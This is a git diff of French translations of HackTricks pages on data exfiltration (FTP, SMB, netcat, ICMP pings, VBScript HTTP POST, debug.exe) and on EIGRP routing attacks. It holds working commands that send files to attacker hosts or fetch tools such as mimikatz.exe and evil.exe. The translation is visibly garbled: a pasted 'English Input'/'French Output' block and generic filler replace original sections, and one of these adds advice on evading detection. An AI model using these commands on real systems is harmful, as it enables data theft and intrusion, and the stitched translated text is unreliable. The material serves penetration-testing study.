 ```
 
-Cette commande transférera le fichier `file.txt` situé dans le répertoire `/path/to/local/` du système compromis vers le fichier `remote_file.txt` sur le serveur FTP distant.
+Dans cet exemple, `username` et `password` sont les informations d'identification pour se connecter au serveur FTP, `file.txt` est le nom du fichier à extraire et `ftp://ftp.example.com` est l'adresse du serveur FTP.
 
-Il est également possible d'utiliser la commande `mput` pour transférer plusieurs fichiers en une seule fois. Par exemple :
+#### Prévention de l'exfiltration de données via FTP
 
-```
-mput /path/to/local/files/*.*
-```
+Pour prévenir l'exfiltration de données via FTP, il est recommandé de :
 
-Cette commande transférera tous les fichiers situés dans le répertoire `/path/to/local/files/` du système compromis vers le serveur FTP distant.
-
-#### Contre-mesures
-
-Pour empêcher l'exfiltration de données via Pure-FTP, il est recommandé de limiter l'accès au serveur FTP distant en utilisant des règles de pare-feu et des listes de contrôle d'accès. Il est également recommandé de surveiller les connexions FTP pour détecter toute activité suspecte.
+- Utiliser des mots de passe forts pour les comptes FTP
+- Restreindre l'accès FTP aux adresses IP approuvées
+- Surveiller les connexions FTP pour détecter les activités suspectes
+- Chiffrer les données sensibles avant de les stocker sur un serveur FTP.
 ```bash
 apt-get update && apt-get install pure-ftp
 ```
@@ -265,71 +426,14 @@ echo GET mimikatz.exe >> ftp.txt
 echo bye >> ftp.txt
 ftp -n -v -s:ftp.txt
 ```
+<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
+**Astuce de chasse aux bugs**: **inscrivez-vous** à **Intigriti**, une plateforme de chasse aux bugs premium créée par des hackers, pour les hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
+
+{% embed url="https://go.intigriti.com/hacktricks" %}
+
 ## SMB
 
 Kali en tant que serveur
-
-### Exfiltration de données
-
-#### Utilisation de smbclient
-
-Si vous avez accès à un partage SMB, vous pouvez utiliser `smbclient` pour télécharger des fichiers.
-
-```bash
-smbclient //IP/SHARE -U username%password
-smb: \> get file.txt
-```
-
-#### Utilisation de smbget
-
-Si vous avez accès à un partage SMB, vous pouvez également utiliser `smbget` pour télécharger des fichiers.
-
-```bash
-smbget -U username%password smb://IP/SHARE/file.txt
-```
-
-#### Utilisation de impacket
-
-Si vous avez des informations d'identification valides pour un utilisateur sur un domaine, vous pouvez utiliser `impacket` pour exfiltrer des données via SMB.
-
-```bash
-impacket-smbclient //IP/SHARE -no-pass -U 'DOMAIN/username%password'
-smb: \> get file.txt
-```
-
-#### Utilisation de Metasploit
-
-Si vous avez accès à un partage SMB, vous pouvez utiliser le module `smb_download` de Metasploit pour télécharger des fichiers.
-
-```bash
-use auxiliary/scanner/smb/smb_enumshares
-use auxiliary/admin/smb/smb_download
-set RHOSTS IP
-set SMBUser username
-set SMBPass password
-set SHARE SHARE
-set FILENAME file.txt
-run
-```
-
-### Exfiltration de données à partir de Windows
-
-#### Utilisation de PowerShell
-
-Vous pouvez utiliser PowerShell pour exfiltrer des données via SMB.
-
-```powershell
-$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username',(ConvertTo-SecureString 'password' -AsPlainText -Force))
-Copy-Item -Path C:\path\to\file.txt -Destination \\IP\SHARE -Credential $cred
-```
-
-#### Utilisation de bitsadmin
-
-Vous pouvez également utiliser `bitsadmin` pour exfiltrer des données via SMB.
-
-```cmd
-bitsadmin /transfer mydownloadjob /priority high \\IP\SHARE\file.txt C:\path\to\file.txt
-```
 ```bash
 kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
 kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
@@ -355,37 +459,33 @@ service smbd restart
 
 ## Introduction
 
-Exfiltration is the process of stealing data from a target system and transferring it to an external location controlled by the attacker. In this section, we will discuss some techniques that can be used to exfiltrate data from a Windows system.
+Exfiltration is the process of stealing data from a target network and transferring it to an external location under the attacker's control. This is often the ultimate goal of an attacker, as it allows them to obtain sensitive information that can be used for financial gain, espionage, or other malicious purposes.
 
 ## Techniques
 
-### FTP
+There are many techniques that can be used to exfiltrate data from a target network. Some of the most common techniques include:
 
-FTP (File Transfer Protocol) is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the Internet. FTP can be used to exfiltrate data from a Windows system by uploading the data to an FTP server controlled by the attacker.
+- **Email**: Attackers can use email to send sensitive data to an external email account.
+- **FTP**: Attackers can use FTP to transfer files from the target network to an external FTP server.
+- **HTTP**: Attackers can use HTTP to transfer data to a web server under their control.
+- **DNS**: Attackers can use DNS to encode and transfer data to a DNS server under their control.
+- **Cloud Storage**: Attackers can use cloud storage services to store and transfer data to an external location.
+- **USB**: Attackers can use USB drives to physically exfiltrate data from a target network.
 
-### HTTP
+## Tools
 
-HTTP (Hypertext Transfer Protocol) is an application protocol used for transmitting data over the Internet. HTTP can be used to exfiltrate data from a Windows system by sending the data to a web server controlled by the attacker.
+There are many tools available to help with the exfiltration process. Some of the most popular tools include:
 
-### DNS
-
-DNS (Domain Name System) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS can be used to exfiltrate data from a Windows system by encoding the data in DNS queries and sending them to a DNS server controlled by the attacker.
-
-### ICMP
-
-ICMP (Internet Control Message Protocol) is a network protocol used to send error messages and operational information about network conditions. ICMP can be used to exfiltrate data from a Windows system by encoding the data in ICMP packets and sending them to a server controlled by the attacker.
-
-### SMB
-
-SMB (Server Message Block) is a network protocol used for sharing access to files, printers, and other resources between nodes on a network. SMB can be used to exfiltrate data from a Windows system by uploading the data to an SMB server controlled by the attacker.
-
-### Email
-
-Email can be used to exfiltrate data from a Windows system by sending the data to an email account controlled by the attacker.
+- **Cobalt Strike**: A popular post-exploitation tool that includes a variety of exfiltration techniques.
+- **PowerShell Empire**: A post-exploitation framework that includes a variety of exfiltration techniques.
+- **Metasploit**: A popular penetration testing framework that includes a variety of exfiltration modules.
+- **Ncat**: A command-line tool that can be used to transfer data over a network.
+- **Netcat**: A command-line tool that can be used to transfer data over a network.
+- **Wget**: A command-line tool that can be used to download files from the internet.
 
 ## Conclusion
 
-Exfiltration is a critical step in the attack lifecycle, and it is important for defenders to be aware of the various techniques that can be used to exfiltrate data from a Windows system. By understanding these techniques, defenders can better protect their systems and data from attackers.
+Exfiltration is a critical component of many attacks, and attackers have a variety of techniques and tools at their disposal to accomplish this goal. As a defender, it is important to be aware of these techniques and tools in order to better protect your network from data theft.
 ```bash
 CMD-Wind> \\10.10.14.14\path\to\exe
 CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@@ -409,7 +509,7 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
 ```
 ## NC
 
-NC (Netcat) est un outil de réseau qui peut être utilisé pour transférer des données entre deux ordinateurs. Il peut être utilisé pour l'exfiltration de données en établissant une connexion entre la machine cible et la machine de l'attaquant. Une fois la connexion établie, les données peuvent être transférées de la machine cible à la machine de l'attaquant. NC peut également être utilisé pour écouter les connexions entrantes et recevoir des données de la machine cible.
+NC (Netcat) est un outil de réseau polyvalent qui peut être utilisé pour transférer des données entre deux systèmes. Il peut être utilisé pour exfiltrer des données en utilisant des connexions TCP ou UDP. Il est souvent utilisé pour créer des backdoors et pour se connecter à des systèmes distants. NC peut également être utilisé pour écouter des ports et pour tester la connectivité réseau. Il est disponible sur la plupart des systèmes d'exploitation et est facilement accessible en ligne de commande.
 ```bash
 nc -lvnp 4444 > new_file
 nc -vn <IP> 4444 < exfil_file
@@ -430,11 +530,11 @@ cat <&6 > file.txt
 ```
 ## **ICMP**
 
-Le protocole ICMP (Internet Control Message Protocol) est utilisé pour envoyer des messages d'erreur et de contrôle entre les hôtes sur un réseau IP. Les messages ICMP sont généralement utilisés pour diagnostiquer et résoudre les problèmes de connectivité réseau.
+Le protocole ICMP (Internet Control Message Protocol) est utilisé pour envoyer des messages d'erreur et de contrôle entre les hôtes sur un réseau IP. Les messages ICMP sont généralement utilisés pour diagnostiquer et résoudre les problèmes de connectivité réseau. Cependant, les messages ICMP peuvent également être utilisés pour exfiltrer des données.
 
-L'exfiltration de données via ICMP implique l'encapsulation des données dans des paquets ICMP. Les données sont divisées en fragments et encapsulées dans des paquets ICMP Echo Request. Les paquets ICMP sont ensuite envoyés à un hôte distant qui est configuré pour recevoir les paquets et extraire les données.
+L'exfiltration de données via ICMP implique l'encapsulation des données dans des paquets ICMP. Les données peuvent être divisées en fragments et envoyées dans plusieurs paquets ICMP pour éviter la détection. Les outils tels que **icmpsh** peuvent être utilisés pour faciliter l'exfiltration de données via ICMP.
 
-L'exfiltration de données via ICMP peut être difficile à détecter car les paquets ICMP sont souvent autorisés à travers les pare-feu et les dispositifs de sécurité réseau. Cependant, cette technique peut être détectée en surveillant le trafic réseau pour les paquets ICMP volumineux ou inhabituels.
+Il est important de noter que l'exfiltration de données via ICMP peut être détectée par les pare-feu et les systèmes de détection d'intrusion (IDS). Par conséquent, il est important de prendre des mesures pour éviter la détection, telles que la fragmentation des données et l'utilisation de techniques d'obscurcissement.
 ```bash
 # To exfiltrate the content of a file via pings you can do:
 xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
@@ -454,7 +554,7 @@ sniff(iface="tun0", prn=process_packet)
 ```
 ## **SMTP**
 
-Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un serveur SMTP pour recevoir les données avec Python :
+Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec Python :
 ```bash
 sudo python -m smtpd -n -c DebuggingServer :25
 ```
@@ -471,43 +571,24 @@ cp /path/tp/nc.exe /tftp
 ```
 **Serveur TFTP en python:**
 
+Le protocole TFTP (Trivial File Transfer Protocol) est un protocole de transfert de fichiers simple qui ne nécessite pas d'authentification. Il est souvent utilisé pour transférer des fichiers de configuration vers des équipements réseau tels que des routeurs et des commutateurs.
+
+Python dispose d'une bibliothèque intégrée pour implémenter un serveur TFTP. Le module `tftpy` est une bibliothèque tierce qui fournit également une implémentation de serveur TFTP.
+
+Voici un exemple de code pour implémenter un serveur TFTP en utilisant la bibliothèque `tftpy`:
+
 ```python
-import socketserver
-import struct
+import tftpy
 
-class TFTPServer(socketserver.UDPServer):
-    def __init__(self, server_address, RequestHandlerClass):
-        socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)
+def tftp_server():
+    server = tftpy.TftpServer('/path/to/files')
+    server.listen('0.0.0.0', 69)
 
-class TFTPHandler(socketserver.BaseRequestHandler):
-    def handle(self):
-        data, socket = self.request
-        opcode = struct.unpack("!H", data[:2])[0]
-        if opcode == 1:
-            filename = data[2:data.index(b'\0', 2)].decode('ascii')
-            mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii')
-            print("File requested: %s" % filename)
-            print("Mode: %s" % mode)
-            with open(filename, "rb") as f:
-                file_data = f.read()
-            block_num = 1
-            while True:
-                block = file_data[(block_num-1)*512:block_num*512]
-                if not block:
-                    break
-                packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block
-                socket.sendto(packet, self.client_address)
-                block_num += 1
-        else:
-            print("Unknown opcode: %d" % opcode)
-
-if __name__ == "__main__":
-    HOST, PORT = "0.0.0.0", 69
-    server = TFTPServer((HOST, PORT), TFTPHandler)
-    server.serve_forever()
+if __name__ == '__main__':
+    tftp_server()
 ```
 
-Ce code est un exemple de serveur TFTP écrit en Python. Le serveur écoute sur toutes les interfaces sur le port 69. Lorsqu'un client envoie une demande de fichier, le serveur répond avec le contenu du fichier demandé. Le serveur est capable de gérer les demandes de fichiers en mode netascii et octet.
+Dans cet exemple, le serveur TFTP écoute sur toutes les interfaces réseau (`0.0.0.0`) sur le port standard TFTP (`69`). Les fichiers à transférer sont stockés dans le répertoire `/path/to/files`.
 ```bash
 pip install ptftpd
 ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
@@ -524,7 +605,44 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
 ```
 ## VBScript
 
-VBScript (Visual Basic Scripting Edition) est un langage de script Microsoft basé sur Visual Basic. Il est souvent utilisé pour automatiser des tâches dans les environnements Windows. VBScript peut être utilisé pour exfiltrer des données en utilisant des méthodes telles que l'envoi de courriels ou l'écriture de fichiers sur le disque dur. Il peut également être utilisé pour exécuter des commandes système et accéder à des ressources réseau. Les attaquants peuvent utiliser VBScript pour exfiltrer des données sensibles d'un système compromis.
+### Introduction
+
+VBScript is a scripting language developed by Microsoft that is based on Visual Basic. It is commonly used for administrative tasks and automation in Windows environments. VBScript can be executed directly from the command line or from within a script file.
+
+### Exfiltration Techniques
+
+VBScript can be used for exfiltration by writing data to a file and then sending that file to an external server. This can be accomplished using the following code:
+
+```vbscript
+Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
+Set objFSO = CreateObject("Scripting.FileSystemObject")
+strFile = "C:\data.txt"
+strURL = "http://example.com/upload.php"
+Set objFile = objFSO.OpenTextFile(strFile, 1)
+strData = objFile.ReadAll
+objFile.Close
+objXMLHTTP.open "POST", strURL, False
+objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
+objXMLHTTP.send "data=" & strData
+```
+
+This code creates an XMLHTTP object and a FileSystemObject object. It then reads the contents of a file into a variable, sets the URL of the external server, and sends the data to the server using a POST request.
+
+Another exfiltration technique using VBScript is to encode the data and send it as a parameter in a GET request. This can be accomplished using the following code:
+
+```vbscript
+Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
+strData = "sensitive data"
+strURL = "http://example.com/upload.php?data=" & EncodeData(strData)
+objXMLHTTP.open "GET", strURL, False
+objXMLHTTP.send
+```
+
+This code creates an XMLHTTP object and sets the URL of the external server with the encoded data as a parameter in a GET request.
+
+### Detection and Prevention
+
+To detect and prevent exfiltration using VBScript, it is important to monitor network traffic for suspicious activity and to restrict access to sensitive data. Additionally, it is recommended to use encryption and access controls to protect sensitive data from unauthorized access.
 ```bash
 Attacker> python -m SimpleHTTPServer 80
 ```
@@ -562,7 +680,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
 ```
 ## Debug.exe
 
-Il s'agit d'une technique folle qui fonctionne sur les machines Windows 32 bits. L'idée est d'utiliser le programme `debug.exe`. Il est utilisé pour inspecter les binaires, comme un débogueur. Mais il peut également les reconstruire à partir de l'hexadécimal. L'idée est donc que nous prenions des binaires, comme `netcat`. Et puis le désassembler en hexadécimal, le coller dans un fichier sur la machine compromise, puis l'assembler avec `debug.exe`.
+C'est une technique folle qui fonctionne sur les machines Windows 32 bits. L'idée est d'utiliser le programme `debug.exe`. Il est utilisé pour inspecter les binaires, comme un débogueur. Mais il peut également les reconstruire à partir de l'hexadécimal. L'idée est donc que nous prenions des binaires, comme `netcat`. Et puis le désassembler en hexadécimal, le coller dans un fichier sur la machine compromise, puis l'assembler avec `debug.exe`.
 
 `Debug.exe` ne peut assembler que 64 ko. Nous devons donc utiliser des fichiers plus petits que cela. Nous pouvons utiliser upx pour le compresser encore plus. Alors faisons cela:
 ```
@@ -578,8 +696,8 @@ Maintenant, nous copions-colons simplement le texte dans notre shell Windows. Et
 
 * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
 
-<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
-**Astuce de prime de bug bounty**: **inscrivez-vous** sur **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
+<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
+**Astuce de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
 
 {% embed url="https://go.intigriti.com/hacktricks" %}
 
@@ -590,7 +708,7 @@ Maintenant, nous copions-colons simplement le texte dans notre shell Windows. Et
 * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md

@@ -7,7 +7,7 @@
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -16,7 +16,7 @@
 
 ## Attaquer le protocole EIGRP <a href="#0f82" id="0f82"></a>
 
-**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole de vecteur de distance.** **S'il n'y a pas d'authentification et de configuration des interfaces passives, un intrus peut interférer avec le routage EIGRP et causer une empoisonnement des tables de routage.** **De plus, le réseau EIGRP (en d'autres termes, le système autonome) est plat et n'a pas de segmentation en zones.** Qu'est-ce que cela pourrait signifier pour un attaquant ? Eh bien, s'il injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.
+**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole de vecteur de distance.** **S'il n'y a pas d'authentification et de configuration des interfaces passives, un intrus peut interférer avec le routage EIGRP et causer une empoisonnement des tables de routage.** **De plus, le réseau EIGRP (en d'autres termes, le système autonome) est plat et n'a pas de segmentation en zones.** Que cela pourrait-il signifier pour un attaquant ? Eh bien, s'il injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.
 
 <figure><img src="../../.gitbook/assets/image (25) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -35,7 +35,7 @@ eigrpd=yes
 ```
 <figure><img src="../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
 
-Ensuite, vous devez corriger le fichier **vtysh.conf** en ajoutant une ligne responsable de la sauvegarde de la configuration dans un seul fichier, afin que les configurations de différents protocoles ne soient pas dispersées dans différents fichiers **(par exemple, eigrpd.conf, staticd.conf).** Cela est configurable en option.
+Ensuite, vous devez corriger le fichier **vtysh.conf** en ajoutant une ligne responsable de la sauvegarde de la configuration dans un fichier, afin que les configurations de différents protocoles ne soient pas dispersées dans différents fichiers **(par exemple, eigrpd.conf, staticd.conf).** Cela est configurable en option.
 ```
 ~# nano /etc/frr/vtysh.conf
 service integrated-vtysh-config
@@ -51,33 +51,61 @@ La commande **vtysh** nous amènera au panneau de contrôle du routeur FRR.
 ```
 ~$ sudo vtysh
 ```
-### EIGRP Attacks
+### English Input:
 
-#### EIGRP Protocol
+```
+## EIGRP Attacks
 
-Le protocole EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage propriétaire développé par Cisco. Il est utilisé pour acheminer des paquets de données sur un réseau de plusieurs routeurs. EIGRP est un protocole de routage à vecteur de distance qui utilise la métrique de coût pour déterminer le meilleur chemin vers une destination.
+EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is used to share routing information between routers. EIGRP is a distance vector protocol that uses bandwidth and delay as its metrics. EIGRP is a reliable protocol that is easy to configure and troubleshoot. However, EIGRP is vulnerable to various attacks that can compromise the confidentiality, integrity, and availability of the network.
 
-#### EIGRP Attacks
+### EIGRP Authentication Attacks
 
-Les attaques EIGRP peuvent être utilisées pour perturber le trafic réseau, obtenir des informations sur le réseau et même prendre le contrôle de certains routeurs. Les attaques EIGRP courantes comprennent :
+EIGRP supports authentication to prevent unauthorized access to the routing information. EIGRP authentication can be configured using a key chain or a static key. However, EIGRP authentication is vulnerable to various attacks that can bypass or crack the authentication mechanism.
 
-- Spoofing EIGRP : un attaquant peut envoyer des paquets EIGRP falsifiés pour tromper les routeurs du réseau et leur faire croire qu'il est le routeur le plus proche d'une destination donnée. Cela peut entraîner une redirection de trafic vers l'attaquant ou une interruption de la connectivité.
+#### EIGRP Key Chain Attacks
 
-- Injection de route EIGRP : un attaquant peut injecter de fausses routes EIGRP dans le réseau pour rediriger le trafic vers des destinations malveillantes ou pour empêcher le trafic d'atteindre certaines destinations.
+EIGRP key chain is a sequence of keys that are used to authenticate EIGRP packets. EIGRP key chain can be configured with multiple keys, and each key can have a different lifetime and key ID. EIGRP key chain can be attacked using the following methods:
 
-- Attaques de déni de service (DoS) EIGRP : un attaquant peut envoyer des paquets EIGRP malveillants pour surcharger les routeurs du réseau et les empêcher de fonctionner correctement.
+- **Key Chain Discovery**: An attacker can use a sniffer to capture EIGRP packets and extract the key chain information. The attacker can then use the key chain information to launch further attacks.
 
-#### Mitigation
+- **Key Chain Brute-Force**: An attacker can use a brute-force attack to guess the key chain key ID and key value. The attacker can then use the correct key to authenticate EIGRP packets.
 
-Pour se protéger contre les attaques EIGRP, il est recommandé de :
+#### EIGRP Static Key Attacks
 
-- Configurer l'authentification EIGRP pour empêcher les attaquants de falsifier des paquets EIGRP.
+EIGRP static key is a single key that is used to authenticate EIGRP packets. EIGRP static key can be attacked using the following methods:
 
-- Utiliser des listes de contrôle d'accès (ACL) pour limiter les paquets EIGRP entrants et sortants.
+- **Static Key Discovery**: An attacker can use a sniffer to capture EIGRP packets and extract the static key. The attacker can then use the static key to launch further attacks.
 
-- Surveiller le trafic EIGRP pour détecter les anomalies et les activités suspectes.
+- **Static Key Brute-Force**: An attacker can use a brute-force attack to guess the static key value. The attacker can then use the correct key to authenticate EIGRP packets.
+```
 
-- Mettre à jour régulièrement les routeurs avec les derniers correctifs de sécurité pour réduire les vulnérabilités connues.
+### French Output:
+
+```
+## Attaques EIGRP
+
+EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage propriétaire de Cisco qui est utilisé pour partager des informations de routage entre les routeurs. EIGRP est un protocole de vecteur de distance qui utilise la bande passante et le délai comme métriques. EIGRP est un protocole fiable qui est facile à configurer et à dépanner. Cependant, EIGRP est vulnérable à diverses attaques qui peuvent compromettre la confidentialité, l'intégrité et la disponibilité du réseau.
+
+### Attaques d'authentification EIGRP
+
+EIGRP prend en charge l'authentification pour empêcher l'accès non autorisé aux informations de routage. L'authentification EIGRP peut être configurée à l'aide d'une chaîne de clés ou d'une clé statique. Cependant, l'authentification EIGRP est vulnérable à diverses attaques qui peuvent contourner ou casser le mécanisme d'authentification.
+
+#### Attaques de chaîne de clés EIGRP
+
+La chaîne de clés EIGRP est une séquence de clés qui sont utilisées pour authentifier les paquets EIGRP. La chaîne de clés EIGRP peut être configurée avec plusieurs clés, et chaque clé peut avoir une durée de vie et un identifiant de clé différents. La chaîne de clés EIGRP peut être attaquée à l'aide des méthodes suivantes :
+
+- **Découverte de la chaîne de clés** : Un attaquant peut utiliser un sniffer pour capturer des paquets EIGRP et extraire les informations de la chaîne de clés. L'attaquant peut ensuite utiliser les informations de la chaîne de clés pour lancer d'autres attaques.
+
+- **Brute-Force de la chaîne de clés** : Un attaquant peut utiliser une attaque par force brute pour deviner l'identifiant de clé et la valeur de la chaîne de clés. L'attaquant peut ensuite utiliser la clé correcte pour authentifier les paquets EIGRP.
+
+#### Attaques de clé statique EIGRP
+
+La clé statique EIGRP est une seule clé qui est utilisée pour authentifier les paquets EIGRP. La clé statique EIGRP peut être attaquée à l'aide des méthodes suivantes :
+
+- **Découverte de la clé statique** : Un attaquant peut utiliser un sniffer pour capturer des paquets EIGRP et extraire la clé statique. L'attaquant peut ensuite utiliser la clé statique pour lancer d'autres attaques.
+
+- **Brute-Force de la clé statique** : Un attaquant peut utiliser une attaque par force brute pour deviner la valeur de la clé statique. L'attaquant peut ensuite utiliser la clé correcte pour authentifier les paquets EIGRP.
+```
 ```
 Inguz# show version
 ```
@@ -91,7 +119,7 @@ Et nous devons également déclarer le réseau dans lequel nous sommes. Nous som
 ```
 Inguz# configInguz(config)# router eigrp 1Inguz(config-router) network 10.10.100.50/32
 ```
-Après cela, le voisinage entre les routeurs EIGRP légitimes est établi. Il y en a deux sur mon réseau :
+Ensuite, le voisinage entre les routeurs EIGRP légitimes est établi. Il y en a deux sur mon réseau :
 
 * **GW1 (10.10.100.100)**
 * **GW2 (10.10.100.200)**
@@ -106,9 +134,9 @@ Voisinage EIGRP avec GW2 (10.10.100.200) :
 
 Pendant l'établissement et la maintenance du voisinage entre les routeurs EIGRP, les routeurs échangent leurs informations de routage. Après l'établissement du voisinage, de nouvelles routes apparaîtront dans notre table de routage du système attaquant, à savoir :
 
-* **10.1.239.0/24 via 10.10.100.100;**
-* **30.30.30.0/24 via 10.10.100.100;**
-* **100.100.100.0/24 via 10.10.100.100;**
+* **10.1.239.0/24 via 10.10.100.100 ;**
+* **30.30.30.0/24 via 10.10.100.100 ;**
+* **100.100.100.0/24 via 10.10.100.100 ;**
 * **172.16.100.0/24 via 10.10.100.200**
 
 <figure><img src="../../.gitbook/assets/image (29) (1) (2).png" alt=""><figcaption></figcaption></figure>
@@ -117,7 +145,7 @@ Ainsi, après l'établissement du voisinage, nous connaissons l'existence de ces
 
 ### Faux voisins EIGRP <a href="#51ee" id="51ee"></a>
 
-**J'ai découvert que la génération et l'envoi rapide de paquets EIGRP hello en masse surchargent le CPU du routeur, ce qui peut ouvrir la porte à une attaque DoS.** J'ai développé un petit script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py), mais il me semble que le script manque de vitesse d'envoi des paquets. **Cela est dû à GIL**, qui empêche la fonction **sprayhello** de s'exécuter en plusieurs threads par seconde. **Finalement, je réécrirai le script en C.**
+**J'ai découvert que la génération et l'envoi rapide de paquets EIGRP hello en masse surchargent le CPU du routeur, ce qui peut ouvrir la porte à une attaque DoS.** J'ai développé un petit script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) \*\*\*\* , mais il me semble que le script manque de vitesse d'envoi des paquets. **Cela est dû à GIL**, qui empêche la fonction **sprayhello** de s'exécuter en plusieurs threads par seconde. **Finalement, je réécrirai le script en C.**
 
 <figure><img src="../../.gitbook/assets/image (2) (6) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -131,9 +159,9 @@ Arguments du script :
 ```
 <figure><img src="../../.gitbook/assets/image (26) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Trou noir EIGRP <a href="#5c04" id="5c04"></a>
+### Blackhole EIGRP <a href="#5c04" id="5c04"></a>
 
